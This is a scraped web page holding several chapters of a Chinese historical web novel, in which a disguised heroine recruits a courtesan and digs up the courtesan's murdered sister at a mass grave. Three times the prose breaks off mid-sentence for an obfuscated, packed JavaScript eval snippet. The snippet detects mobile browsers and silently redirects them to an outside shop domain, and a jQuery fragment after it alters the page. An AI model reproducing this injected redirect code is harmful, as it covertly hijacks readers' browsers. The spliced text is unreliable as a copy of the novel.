砚青这一问起,他才发现,对那位裴大姑娘,他脑海中竟只有一个模糊的轮廓。 他记得那条毒蛇,那个深坑,那场混乱,却偏偏想不起那位被众人称道的相府千金,是何神情、何模样。 今日在灵安寺,真正留在记忆里的片段,似乎都只有那一个人的身影。 “与这些无关。”萧容与神色微敛,淡淡道,“我们国公府本就权势滔天,大哥又要迎娶镇北侯独女,已是鲜花着锦,烈火烹油。 我这个次子,本该找个家世普通的。可偏偏……” 他轻轻叹息一声,眼底闪过不加掩饰的暖色。 这些年,母亲对他始终存着亏欠,怜惜他自小走失,吃了十几年苦,绝不能在婚事上再受委屈。 因此,那样一个温和又明事理的母亲,竟不顾父亲苦口婆心的大道理,豁出了一哭二闹三上吊的架势,也一定要给他寻晏京顶好的贵女。 而相府大姑娘裴令仪,一直被相府着力培养。谁料名声一时太盛,民间竟传出了此女“非皇室不配”的说法,几乎将相府架在火上烤。 就算原本对裴令仪寄予厚望,丞相也不敢再动那心思。 而他这个国公府次子,既门当户对,不委屈相府千金,又不继承国公之位,以至太过显赫。 如此一来,两家才一拍即合。 他原本还隐隐有些担心,好在,如今倒是不必再去想了。 他摇了摇头,唇角微弯:“今日诸多变故,我这个被蛇咬的人,反而才是最幸运的。” 砚青挠了挠头,似懂非懂。 这位爷,又说怪话了。 …… “姑、姑娘……” 青岚盯着眼前穿戴整齐的人,眼睛几乎直了,“姑娘怎么……穿成这个样子?” 花辞树一身靛青直裰,发髻高束,只簪了一支乌木簪,手中一把折扇。那张脸仍旧清秀,却被妆容勾勒出几分棱角,乍一看,竟真像个尚未及冠的贵公子。 “女扮男装而已。”花辞树低头理着袖口,语气理所当然,“以前又不是没干过。” “可、可是,从前是在边城,如今可是在晏京,人生地不熟的,还是不要了吧!”青岚急忙劝道。 花辞树没接话,只清点着绛雪交来的其他东西。 金银、短匕、黑布、短铲……一样不少,与她昨日列的清单分毫不差。 她满意地点了点头,将东西收入怀中。 有些事,她得亲自走一趟。 8. 青楼 青岚见姑娘不搭理自己,又转向绛雪,抱怨道:“你也真是的,好端端弄来男装给姑娘!” 绛雪轻叹一声:“你的意思是,要我忤逆姑娘的吩咐?” “这——”青岚一时语塞,半晌才自暴自弃道,“算了,算了,待会咱们跟紧点,可不能出岔子。” 花辞树这才抬起头,唇角微微一弯:“我自己去,你们留在府里。” “什么!”青岚眼睛睁得更大了,“这都傍晚了,姑娘要出门,还不让奴婢们跟着?这怎么——” 花辞树开口打断了她的念叨:“我要去的,是绮云街。” 一句话轻描淡写地丢下,青岚尚未反应过来,绛雪的脸色已然变了。 “绮云街?”她下意识重复了一遍,声音低了几分,“那不是……晏京最有名的烟花之地吗?” 青岚猛地倒吸一口凉气:“姑娘去那种地方做什么!” 花辞树满不在乎地笑了笑:“那个萧容时,往日都是听旁人说,我总要亲自去打探打探,他究竟作风如何。 绮云街酒楼、青楼云集,是晏京贵族最常往来的作乐之处。我去走走,总比听外人一面之辞要可靠得多。” 青岚几乎傻了眼。多年来的习惯竟让她下意识觉得,姑娘的话似乎也有道理。 她没有反驳什么,只本能似地脱口道:“不、不管去哪,奴婢也要陪着姑娘!” 花辞树轻轻一笑,手中折扇“唰”地展开。姿态雍容,竟真像个行走于风月场中的贵公子。 “那种地方,是能随便去的吗?我一个人不算显眼,你们跟着,万一一个不慎漏了馅,我的名声可就完了。” 眼看青岚还要开口,花辞树却不给她这个机会:“更何况,我这个时辰出门,宋嬷嬷必要来问。你们留在府里,也好帮我撑住场子。” “怎、怎么撑?”青岚被带得一愣。 “昨日,我不是刚救了相府二姑娘吗?”花辞树随口拈来,“便说我与那小姑娘有约,一同出去玩,小姑娘一心想要偷跑上街,我总不好对小孩子失约。” “可、可是……” “难道宋嬷嬷还能去问裴知仪不成?放心吧,这个谎万无一失。”花辞树收起折扇,在青岚额前轻轻一弹,带着安抚,也带着不容再议的笃定。 青岚张了张嘴,还想再说什么,可对上那双沉静而清亮的眼睛,终究没再开口。 连哄带骗地打发了两个婢女,花辞树终于如愿出了门。 她的目的地,的确是绮云街。当然,不会是为了“打探萧容时作风”这种信口胡诌的理由。 她这一趟,是要找一个人。 马车在绮云街口停下。 清音入耳,香风浮动。 花辞树信步走向那一排各色各样,一眼望不到尽头的酒楼,步伐自然,神色如常,像个对这一切司空见惯的闲散公子。 人流之中,她的脚步在一间楼前停下。 抬头,“玉宵楼”三个大字,高悬于檐下。 夜色尚未完全降临,玉宵楼中已灯火通明,丝竹声自半开的雕花窗中流泻而出。 花辞树只看了一眼,抬步走入门中。 纱幔低垂,灯影摇晃,几名舞姬在堂中起舞,水袖翻飞。 进出的客人皆衣饰华贵,言笑从容。熏香、酒香与人声混在一处,绵密而暧昧。 花辞树方一踏入,便有一名三十来岁的女子迎了上来。 并不似想象中青楼妈妈那般轻浮妩媚,此人衣着体面,神情和气,笑容里带着几分从容的意味。 “这位……”女子目光在她身上一掠,语气微微一顿,才又接道,“公子,可是第一次来我们玉宵楼?” 花辞树听到她的停顿,便已心知肚明——对方看出她是女子了。 她并不意外。所谓男装,不过是在人群之中不那么显眼罢了,要瞒过这等经验丰富的行当中人,本就不可能。 花辞树只当不知,随口应道:“不错,我是来找人的。” 女子脸上的笑意微不可察地淡了,神色多出两分审慎与防备,声音也压低了些:“夫人若是来寻自家相公,恐怕只会徒惹不快。我见夫人气度不凡,好心劝解一句。有什么事,还是等你家男人回府,关起门来再说为好。” 花辞树心中失笑,自己这是被当成来青楼捉奸的了。 她摇了摇头,神情轻松:“我不是什么夫人,也不是来找男人的。” 女子微微一怔,又在她面上多看了几眼,似是想寻出几分掩饰的痕迹。可花辞树神色自若,既无恼怒,也无焦躁,半点没有“兴师问罪”的模样。 她不由眯了眯眼:“那姑娘这是……” 花辞树伸手入怀,随手甩出一个金锭:“不过是来见见世面,听个小曲儿罢了。” 金色闪过一道光,稳稳落入女子掌中。 女子这一掂便知,不多不少,整二十两。一两金抵十两银,这姑娘一出手,便是足足二百两银子。别说听曲儿,便是要点人留宿,也绰绰有余了。 这是哪家胆大的千金小姐,闲来无事,竟跑到这种地方来“见世面”? 女子心中飞快转过几个念头,神情却已收敛,重新挂上恰到好处的笑容,语气自然:“不知公子可有中意的?” “听闻挽玉姑娘抚得一手好琴,号称晏京第一琴。”花辞树眉梢一挑,带着几分不加掩饰的傲气,“我倒想见识见识。” 挽玉……女子心念一动,在玉宵楼,挽玉算不得一等头牌,只因琴艺的确高超,倒是颇得一些自诩“文人清流”的贵客青睐。 女子的目光落在花辞树眉眼之间,忽然生出几分了然。 这位姑娘气度清雅,举止不凡,想必也是琴艺好手。听闻“晏京第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491555|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴”竟落在一个青楼女子身上,心有不忿,索性扮上男装,前来一探虚实了。 若是这种事,倒也无伤大雅。 女子嫣然一笑,侧身做了个“请”的手势,扬声吩咐道:“请这位公子到雅间稍候,带挽玉姑娘。” 窗外夜色未深,灯火却已连成一线。 花辞树刚坐下不久,门外便传来轻轻一声叩响。 门开,一名女子缓步而入。 她的穿着并不张扬,只是一身素色薄纱,发间斜着一支玉簪,灯影映在她侧脸上,眉眼清秀,轮廓柔和。 她怀中抱着一把琴,盈盈福了个身:“挽玉有幸为公子抚琴,不知公子想听何曲?” 花辞树随口道:“来首短的。” 挽玉不由一怔。来听她抚琴的人不少,有人要听难的,有人要听悲的,有人要听喜的,却从未有人要听……短的。 她却不多问,只一怔之后,便将琴轻轻放在矮几之上,席地而坐。 她低垂着眼,神情专注,指尖落下时,纤细却有力。婉转的琴声流淌而出,清而不薄,好似夜色里掠过的一阵风,瞬间将窗外的人声浮动压了下去。 花辞树端坐椅上,手指轻轻叩着扶手。 前世的华姝,只远远见过这个女子,对她的容貌并无多少印象,却清清楚楚记得这个名字。 挽玉。 那一年,秋猎场边,夜风清,琴声罢,舞步歇。 众舞姬款款退下,本该一同告退的琴伎,却在满场寂静中,忽然向前走了几步。 众目睽睽之下,她跪在御前,背影单薄,声音发颤,却仍旧昂着头,状告相府草菅人命,要为死去的妹妹讨一个公道。 不错,挽玉的妹妹巧玉,在相府当差,是相府少夫人身边的二等丫头。 花季少女一朝横死,相府的说法是,夜半失足溺水。 而挽玉说,她的妹妹,一向识得水性。 巧玉在相府并不起眼,也不常贴身,只因擅长梳头,每日梳妆时,才能近身伺候片刻。 相府这样的高门大户,几乎所有下人的卖身契都捏在主子手里。虽然卖身契并不意味着生杀之权,可在深宅大院,一个下人死了,只要不闹出府门,用一句意外或病亡遮过去,往往便无人深究。 而挽玉,竟将这样一件事,生生闹到了御前。 皇上原本正在兴头,被这等上不得台面的臣子后宅之事扫了兴致,龙颜不悦,下令彻查。 挽玉被带了下去…… 那一刻,猎场边风声阵阵。 而此刻,人影犹在,曲声未歇。 花辞树静静地听着,眼前的琴音,仿佛与记忆中猎场那晚重叠在一起。 距离秋猎,还有不到一个月的时间。一个月后,眼前这个女子,将只身投入风暴。 而这一世,风暴的方向,将由她掌控。 9. 交易 便在此时,挽玉十指抬起,琴声骤歇。 她抬头,两人的视线在半空中相遇,屋内静了一瞬。 挽玉率先开口,声音清润:“不知公子……还想听挽玉弹些什么?” “果真是好琴。”花辞树看着她,缓缓开口,“难怪能收服教坊司那位杨大人,得来猎场献艺的资格。” 她的声音刻意压低了几分,清朗中带着少年人的随意,仿佛只是随口一语。 然而这一句话落下,挽玉的面色已然一变。 “姑娘如何知晓?”震惊之下,她几乎脱口而出,甚至忘了该称“公子”。 花辞树轻摇折扇,却不答话。 那一年,秋猎伸冤事后,第一个被彻查的,不是挽玉凄厉诉说的冤情,而是这样一个出身青楼的女子,如何能进入围场,跪到御前。 这一查,很快便查到了教坊使杨大人。 皇家狩猎,不只比武打猎,自然少不了宴饮与歌舞助兴。负责这些的,正是教坊司。 挽玉琴艺出众,常被一些自诩“清流”的贵人捧场,教坊使杨大人便是其中之一。 不知挽玉是如何接近讨好,又是如何撩动了杨大人的心思,总之,是杨大人点了她的名,将她列为外调乐伎,临时挂靠教坊司名下,随行秋猎。 那事之后,杨大人很快便被贬官外调,不知去了何处。 挽玉在一瞬的惊诧之后,已迅速收敛心神,神情也恢复如初。 她起身一福,声音温顺:“姑娘恕罪,挽玉在玉宵楼数年,虽有些虚名,可若能借秋猎之机,在御前献上一曲,既是挽玉的造化,身价亦能再上一层。 挽玉蒲柳之姿,只为前程打算,并无违例之处,还望姑娘成全。” 被如此突如其来地戳破,挽玉仍旧如此冷静自持,转瞬间便能应对自如,滴水不漏。 花辞树满意地点点头,微微一笑:“到御前伸冤,可不是什么好前程。” 挽玉的神情一瞬间僵在脸上,仿佛魂魄离体,久久没有出声。 花辞树摇了摇头,轻叹一声:“我知道你的妹妹巧玉。” 挽玉瞳孔一缩,神情中的顺从缓缓褪去,只余下冰冷和防备:“你是相府的人?” “我知道你在怀疑什么。”花辞树神色未变,语气平静,“我不是相府的人,更不是为了巧玉的事,来威逼利诱你放弃伸冤的人。 我叫华姝,是镇关侯之女。晏京镇关侯府,你应当听说过吧?” “镇关侯?”挽玉眉心微蹙,眼中尽是惊疑。 这个名号,她自然听过。 眼前之人出手阔绰,气度不凡,出身如此高门,她并不意外。更何况镇关侯之名,又岂是寻常人胆敢攀附的,可是…… “听闻镇关侯长年镇守边关……堂堂侯爷之女,怎会认得巧玉?” 挽玉知道,对方既然点名道姓地找上门来,必定已有把握。她没有再否认什么,索性问出了这个问题。 “我查过你。”花辞树言简意赅,没有多做解释。 “为、为何?”挽玉的声音带着克制的紧绷。 花辞树的话,句句出乎她的意料。她甚至没有意识到,自己始终被对方牵着思路,就这样追问了下去。 “一个月后的秋猎,我要设一场局。”花辞树道,“我需要一个有本事进入猎场的女子,为我做完这场局。所以,我选中了你。” 花辞树虽然有所隐瞒,却并无欺骗。 一场板上钉钉的婚事,说退就退,必得演一出大戏。而秋猎,便是她选定的戏台。 在这出戏里,除了萧容时之外,还需要一个不可或缺的角色。 花辞树背靠侯府,若要将一个女子带进猎场,并非不可能。只是萧容时绝非草包,若如此行事,待事发之后,他缓过劲来,必会查到她的头上。 所以,她要找到一个人——一个和她全然无关,无需她去安排,便有资格进入猎场的人。 挽玉是靠自己的手段,拿到了猎场献艺的机会。任谁去查,也只会如前世一般,查到那位杨大人罢了。 更何况,要找人帮她成事,并非谁都可以。如挽玉这般,有所求,有心智,更有破釜沉舟的决心,能想方设法,一步步逼近目标——才是可用之人。 “姑娘的话,挽玉不懂。”挽玉的目光依旧审慎。 “很简单。”花辞树道,“我帮你为妹妹伸冤,你帮我设局,整治一个男人。” 挽玉眉间一紧,沉声道:“等入了猎场,面见圣上,我自然可为妹妹伸冤。姑娘莫非是在威胁我,若不为你所用,便要破坏我的计划?” 花辞树摇了摇头:“御前伸冤,的确是一步狠棋。只可惜,你错估了大局。” 挽玉的目光微微一滞。 “你伸冤后,即便皇上当场下令彻查,可猎场远在晏京百余里开外,秋猎五日,路上还需两日。待车马回城,风声已散,谁会去触那个霉头,主动提起一个婢女之死? 而到那时,你必定已被控制起来,难道还能再到御前伸冤一次?” 挽玉脸色微微发白,张了张口,似乎还想辩些什么。 花辞树却继续说了下去:“自入夏以来,南方水患频仍,若丞相上疏,愿为国分忧,以相府私财捐助朝廷,用以赈灾。” 她停顿一瞬,“你猜,你妹妹的事,还会有结果吗?” 这些话,不是花辞树的分析或推测。而是前世已然发生过的事实。 便在丞相上疏的那一日,晏京郊外一处不知名的乱葬岗,起了一场大火…… ——后来这些事,是青岚从外头听来,当说书一般讲给华姝听的。 华姝虽性情直爽,却也在这些零碎的传言里,隐隐觉察出其中的千丝万缕。 相府破财消灾,皇上心照不宣。在他们眼中,一个婢女的死,抵不过国库里多出的白花花的银子。 从那之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491556|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也没有人见过挽玉。 眼前,挽玉面上的血色已彻底褪尽,她指尖发紧,声音艰涩:“君无戏言……” “不错。”花辞树缓缓道,“皇上若下令彻查,便必会‘查出’一个结果。可若那结果是——证据不足,无法定罪,又该如何?” “怎么可能?”挽玉脱口道,“是失足溺水,还是被人杀害后沉入水中,只要一验便知——” “若尸体不在了呢?”花辞树眼底闪过一抹悲悯,“只要在乱葬岗放一把火,便足以毁尸灭迹。” 被派去销毁证据之人,甚至懒得从乱葬岗中翻找出那一具尸体,干脆付之一炬…… 挽玉彻底呆住了。 良久,她才双唇翕动,喃喃道:“乱……葬岗……我打听过,相府分明说,已将巧玉入殓安葬,怎么会……在……乱葬岗……” 花辞树沉默了。 挽玉如此反应,连她也有几分意外。 此刻,挽玉竟已无暇去管证据被毁的风险,仿佛只是单纯地无法相信,她的妹妹,竟是被人扔到了乱葬岗,连死后都无处容身。 屋内安静得只剩下挽玉沉重的呼吸。 良久,挽玉才找回自己的声音,好似用尽力气,却仍旧低不可闻:“倘若连闹到御前都是徒劳,姑娘又能如何帮我?” 花辞树语气放缓,认真道:“猎场远离晏京,往返日久,你又人微言轻。天时、地利、人和,一样不占。而我另有办法,让朝廷不得不查。 我可以答应你,会在秋猎前成事。若我没能做到,你大可以继续你的计划,怎么也不会吃亏。” 挽玉眉心动了动。 这不是一手交钱,一手交货的买卖。这位姑娘竟愿率先履约,再索要回报。如此一来,几乎是将主动权拱手交到了她的手上。 仿佛是信任,是诚意,却更是笃定的底气。 挽玉的目光定定落在花辞树面上,她又沉默许久,终于缓缓道:“姑娘要我做的,是什么?” “我要整治一个男人。”花辞树言简意赅,“实话说,这笔买卖并不好做。好的结果,你我各自成事之后,我会尽力为你赎身,替你改名换籍,重新开始。 可最坏的结果,你要付出的,或许不只是你这个人,还有你这条命。 不过,御前伸冤终究也是死路一条,同样是赌命,不如换妹妹一个公道。 我可以给你三日,仔细考虑。” 挽玉的手指在袖中紧了又紧,她这一生,早已生不如死。可妹妹的公道…… 她觑着花辞树的面色,谨慎开口:“姑娘莫怪,我能否……先听听你的计划?” 花辞树并不介意,点点头道:“若要为你妹妹伸冤,第一步,便是要拿回她的身子,以免——” “什么!”挽玉身形一震,眸光几乎在瞬间失了焦,“妹妹的身子……” 花辞树轻叹一声,一字一句道:“今晚,我带你去找她。” 10. 奇遇 挽玉倏然抬眼,看向花辞树。这一瞬,她几乎以为,眼前这个女子,是来杀她灭口的,所谓“去找妹妹”,不过是送她去泉下相见罢了。 她怔然呆立,像是在等待一个无法逃脱的结局。 可是,女子始终不曾动手,她只是看着她,神色平静而耐心。仿佛她说的每一句话,都是真的。 喉间一紧,泪意骤然上涌。挽玉死死压住,只任眼眶泛红,声音却尽力平稳:“莫说为妹妹讨个公道……若姑娘真能带我去见妹妹一面,我这条命,便是姑娘的。” 一刻钟后。 房门被人从内推开。 花辞树立在门口,左右张望一眼,随手拦住一个端着酒壶匆匆而过的小二,吩咐道:“将你们管事的妈妈叫来。” 小二应了一声,脚步更快地跑了下去。 回身,挽玉仍站在原地,像是刚从梦里走出来,神色还有些空。 花辞树轻轻一笑,道:“放宽心。” 挽玉回过神来,目光与花辞树相对,眼底的怔忡终于褪去,稳稳点了下头。 不多时,先前迎客的女子便盈盈赶来。挽玉说,此人叫“赵妈妈”,主管玉宵楼各项事宜。 “公子可还满意?”赵妈妈的笑容依旧得体,“可要再唤别的姑娘来给公子瞧瞧?” 花辞树一展手中折扇,语气淡淡:“挽玉姑娘琴艺的确在我之上,我很满意。” 挽玉连忙福身:“公子谬赞了。” 赵妈妈道:“公子喜欢,是挽玉的福分,也是我们玉宵楼的福分。” “挽玉的福分可不止这点。”花辞树唇角弯了弯,“我要将挽玉赎出去,有她在身边指点,我的琴艺必能精进。” 赵妈妈不由一愣。 这姑娘不仅大胆,似乎还是个琴痴?能为切磋琴艺,亲自寻到青楼来,如今还要将人赎回去?但凡是能拿出天价赎身银的高门大户,怎么可能准许青楼女子进府,给自家姑娘教琴? 这实在……太过异想天开了。 惊异从赵妈妈眼底一闪而逝,她的神情随即恢复如常,例行公事道:“挽玉的赎身价,要两千两银子。” 不过是赚钱的买卖,她自然不必多嘴。至于对方掏不掏得出来,那是对方的事。 花辞树点了点头,好似对千两天价无动于衷,只道:“我一时支不出这么多银子,还要先将挽玉带回府,给家里看过。只要家人点了头,银子自然不成问题。” “这……”赵妈妈面上摆出为难之色。 “放心,我自然不会白白要人。”花辞树伸手入怀,再次随手一甩。 这一回,却不是金锭。而是—— 一枚玉佩。 “这玉,少说也值八百两银子。”花辞树轻描淡写道,“押在你这里,总不怕我带人跑了吧?” 赵妈妈已稳稳接住,只一眼,便见这玉通体无暇,成色不凡,便是在她这些年见过的达官贵人里,也算顶好的。 她开的价本就虚高,即便挽玉当真一去不回,有这玉佩抵着,也不算亏了。 念头飞快闪过,赵妈妈眼角忽而一跳——这玉佩上的雕纹,好似是一个字? 萧? 在这晏京,能随手拿出这等玉佩,又姓萧的,岂不只有…… 可谁都知道,靖国公府上只有两位公子爷,又哪来这么一位女扮男装的姑娘? 对了,听闻那萧二公子游手好闲,行事无状。也难怪会将如此贵重的家传之物,随手赏给相好的姑娘。还真是个不折不扣的败家子…… 那这姑娘,是在为萧二公子赎挽玉? 一个相好,来替主子物色新的相好? 晏京这些公子哥们,可真是越来越会玩了…… 赵妈妈的神色变了又变,玉佩捏在手中,已经隐隐发热。 花辞树才不理会她心里那一番翻腾,只将折扇在指间轻轻一转,语气带上两分不耐:“赵妈妈意下如何?” 赵妈妈瞬间收敛心神,面上再次挂上毫无破绽的笑:“全依公子。” 她转头看向挽玉,意味深长道:“好生伺候,若入了公子的眼,便是你的造化。” 挽玉低眉顺眼:“是,挽玉记住了。” …… 晏京远郊,夜色已深。 绮云街的灯火与喧哗早已远去,仿佛连人间的气息也被隔绝在身后。 脚下荒草没膝,远处树影幢幢。夜风吹过,发出细碎的声响,好似有魂魄在低低啜泣。 一股说不清的腐臭腥气弥漫在空气中,荒草间土色斑驳,有的地方微微隆起,有的却塌陷下去。零散的尸骨半掩在土中,在月色下泛着惨淡的光。 挽玉的目光扫过几处,又猛地收回。她不敢细看,却强迫自己必须去看。 花辞树忽然开口:“你妹妹,是哪一日走的?” 挽玉脚步一顿,喉间发紧:“十日前。” 花辞树轻点下头,道:“十日之内,草还未生。相府这等人家,就算再敷衍了事,至少也会命下人裹上草席,掩一层土。” 她抬眼,扫过四周起伏不平的土面,“我们着重找荒草未生之处,找浅埋或半埋的,尤其是裹席的。” 按花辞树所言一筛,需要排查的浅坑,便只剩下十来处。 约莫过去半个多时辰。 花辞树脚下再次踩上一片翻动过的泥土。边缘,是野狗刨过的痕迹,露出一角发黑的草席。 这已是两人翻找的第六处。 花辞树弯下身,将灯笼放在一旁,手中短铲利落地插入土中,往上一撬。泥土很快散开。 挽玉僵硬地在花辞树身旁蹲下,同样挖起土来。 两人很快便将这处浅坑挖开大半,草席终于露出全貌。 花辞树动作一顿,将手伸向那松松缠着的草绳。 草席掀开,更加浓烈的腐败气息扑面而来。 挽玉的目光一点一点凝住,落在那张已经开始腐坏的脸上。 眉眼模糊,却仍能看出几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491557|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分熟悉的轮廓。她日思夜想的容颜,就已变成这副模样…… 仿佛有什么东西在心中彻底崩塌,挽玉膝下一软,重重跪倒在地。 “霜儿,姐姐……来晚了。” 她的声音断在喉间,手缓缓伸过去,指尖悬在半空,却迟迟没有落下。 良久,才终于触上那已经冰冷僵硬的发,动作轻得像是怕碰疼了她。 挽玉指尖颤得厉害,连带着整个人都在发抖。破碎的泣声从她喉中溢出,不是歇斯底里,却令人心口揪得发紧。 据花辞树所知,挽玉的妹妹名叫巧玉,此刻,她却唤她“霜儿”。 花辞树没有出声,只静静起身,转开视线,给她时间。 然而就这一转,竟有一抹火光从某个方向晃入眼帘。 花辞树的目光倏然冷了下来。 几乎便在同时,草叶微动之间,依稀多出一道不属于这片死寂的声响。 脚步声。 而且,似乎不止一个人。 挽玉仍跪在地上,魂魄未归。四野空旷,无遮无掩。 花辞树眼底一沉,毫不犹豫地伸手一扯,将挽玉从地上带了起来。 挽玉一怔,还未反应过来发生了什么。花辞树已从袖中抽出一条黑布,利落覆上挽玉的面容,三两下系紧。 “姑娘……”挽玉的声音从黑布下传来,微微发闷。 “别动,也别出声。”花辞树压低声音,一步上前,将挽玉挡在身后。 她的计划才刚刚开始,不能让任何人见到她与挽玉出现在一起。 而此时,那道火光已然接近。 荒草被踏开,一道人影出现在视线之中。 黑衣,窄袖,身形修长,手中一支火把。光影之下,眉眼冷峻,气息沉稳,带着几分逼人的压迫。 花辞树瞳孔一缩,心头狠狠一跳——萧容与? 他怎么会来这里? 一个本不该存在的人,再次出现在了不该出现的地方。 “晏京果真不一般。深更半夜,连乱葬岗都如此热闹。”萧容与似笑非笑,语气中带着不加掩饰的讥嘲。 他说着,将手中火把向前一送,火光骤然逼向眼前之人的面容。 下一瞬,他的神色骤然一滞,那点漫不经心的讥讽,在一息之间尽数敛去,方才还冷冽的声音也变了调:“……是你?” 花辞树没有应声。 萧容与的呼吸微微一顿,眼底那一抹震动,很快被压了下去。 他将火把稍稍抬高,四下照去。目光随之移动,掠过地上的女尸,又掠过花辞树身后的女子。 女子黑布覆面,被花辞树挡住了大半身形,却仍能看出那一丝压抑的紧绷。 萧容与目光微凝,却未再多看,视线重新落回花辞树面上。 火光与夜色交错之间,两人的目光短暂相接。 “华大小姐……”萧容与缓缓开口,声音已恢复平稳,却比先前低了几分,“怎么会在这里?” 11. 当心 “这话,我也想问问萧二公子。” 花辞树的目光扫过萧容与身后,那里还跟着一人。 这是一个约莫三十来岁的男子,灰衣短打,手中提着一只小木箱。最初见到乱葬岗有人,他脸上也是毫不掩饰的惊异,可见萧容与和对方相识,便似安下心来,无所事事一般地东张西望着。 丝毫没有身处乱葬岗的自觉,仿佛早已对死人堆见怪不怪。 花辞树神色如常,淡定继续:“深更半夜带人来乱葬岗,总不会是来散步的吧?” 萧容与几乎要气笑了。这位华姑娘,分明也在做同样的事,居然能如此理直气壮地反过来问他? 他视线一低,再次看向地面。草席已被掀开,尸首半露,一旁还插着把短铲,显然是刚刚挖开的模样。 萧容与嘴角抽了抽,道:“华大小姐,是来挖尸的?” 短短片刻间,花辞树心念已经急转。 前世,根本没有萧容与这个人,巧玉也还是死了。这就说明,巧玉的死,是相府内部之事,与萧容与无关。 不管他是因何缘故出现在这里,总不会是来坏她事的。 她若无其事地点点头,道:“是啊。我今日上街,偶遇这位姑娘卖身葬妹。我见她可怜,便答应带她来为妹妹收尸安葬。” 萧容与缓缓吸了一口气:“这种事,一定要挑在深更半夜?还要华大小姐亲自来做?” 他的眼中并无愠色,却明明白白写着一句话——你是把我当傻子哄? 花辞树道:“事情便是如此,你若不信,多说也是无益。你我井水不犯河水,萧二公子要做什么,就请便吧,只当今夜从未遇见便是。” 萧容与沉默了一瞬。昨日,灵安寺,她也说过这样的话。 ——似乎他们总会始料未及地遇见,又总要当做从未遇见。 这个临危不乱、满口谎话、还会在半夜三更来乱葬岗挖尸的女人……是他未来的嫂子。 萧容与眼皮跳了跳,似乎是在为兄长捏一把汗,又似乎……有些期待。 念头一闪而过,萧容与收敛心神,微一点头,便要侧身而过。 就在与花辞树擦肩的一瞬,他的脚步却忽而一顿,旋即俯下身子,逼近了地上的草席。 火光晃动间,他伸手,捏起了巧玉的左手。 “你干什么!”挽玉失声而出,便要扑上前护着妹妹。 萧容与却已将手放下,重新站起。 “萧二公子这是做什么?”花辞树蹙眉。 “她叫巧玉。”萧容与看着她的眼睛,一字一句道,“相府的一个婢女,十日前死了。” 花辞树目光一震,猛然明白了什么,虽不可置信,还是沉声问道:“你来这里,是为了找她?” 萧容与干脆地点头,却没有多言,只是不动声色地看着她,好似耐心等待。 短暂的沉寂里,花辞树脑中转过无数念头,可无论如何,也想不出一个合理的解释。 静默片刻,她率先开口:“方才我并未骗你,我身后这位姑娘,正是巧玉的姐姐。她怀疑妹妹被相府所害,却求助无门。 我既然碰上这样的事,自然不能袖手旁观,只是此事毕竟牵涉相府,我也只能暗中行事,先来找到尸身,再想办法帮她伸冤。” 这番说辞半真半假,挑不出破绽,神情更是豁出去了的坦然。 萧容与微微眯眼,若有所思。片刻后,才轻轻点头,语气意味不明:“竟是如此。” 花辞树抿唇,迎上他的目光:“现在,萧二公子可以说说,你又是怎么一回事了吧?” 萧容与看着她,忽然笑了:“迟早都是一家人,有什么不能说的。只是华大小姐听了,还请莫要说与旁人,以免徒惹风波。” “这是自然。”花辞树一本正经地点头。 “半个月前,她来找过我。”萧容与道。 “谁?巧玉?”这一次,花辞树没有掩饰自己的震惊。 “不错。”萧容与唇角那点若有若无的笑意淡了下去,语气也沉了下来,“她并非直接找我,而是托了相府一个小厮,辗转找到我身边的砚青,然后,传一句话给我。” “什么话!”挽玉睁大了眼,迫不及待地追问。 她实在无法想象,自己的妹妹,怎会与萧家公子有了牵连…… “要当心。”萧容与缓缓开口,声音轻了几分。仿佛这几个字已在他口中咀嚼过许多次,却始终如隔云雾。 花辞树眉心一跳。 “起初,我也只是觉得奇怪。”萧容与道,“一个相府婢女,平白无故传话给我,要我当心?” 他摇了摇头,仿佛直到此时也还是不明所以,“我命砚青去打探,想问个明白。结果传回来的,仍旧只有一句话—— 她什么也不知道,让我不必再找她,只多当心便是。” 挽玉的呼吸一滞,双手再次开始发抖。妹妹她……究竟在做什么? “我愈发好奇,便让砚青使些手段,务必将人找出来,我要亲自问话。这一来二去,难免耗了几日功夫。然后,人便死了。” 萧容与垂眼看向地上的尸体,“就是她。” 一抹冷意在他眼底一闪而过,乱葬岗的风声,仿佛都压低了几分。 花辞树眉心轻锁,沉默未语。 而挽玉,好似忽然回过神来,整个人猛地一颤,声音发紧:“妹妹果然是被人害死的!她发现有人要对萧二公子不利,好心提醒,才被幕后之人灭口的!” 话音未落,泪水又汩汩而下。 “萧二公子,也是这样认为的?”花辞树抬眼看他,带着两分审视。 萧容与毫不回避她的目光,点了下头:“这整件事太过巧合,而这,的确是最合理的一种解释。” 他微微一顿,音色更沉,“更何况,在这事前后,我的确出过意外。” 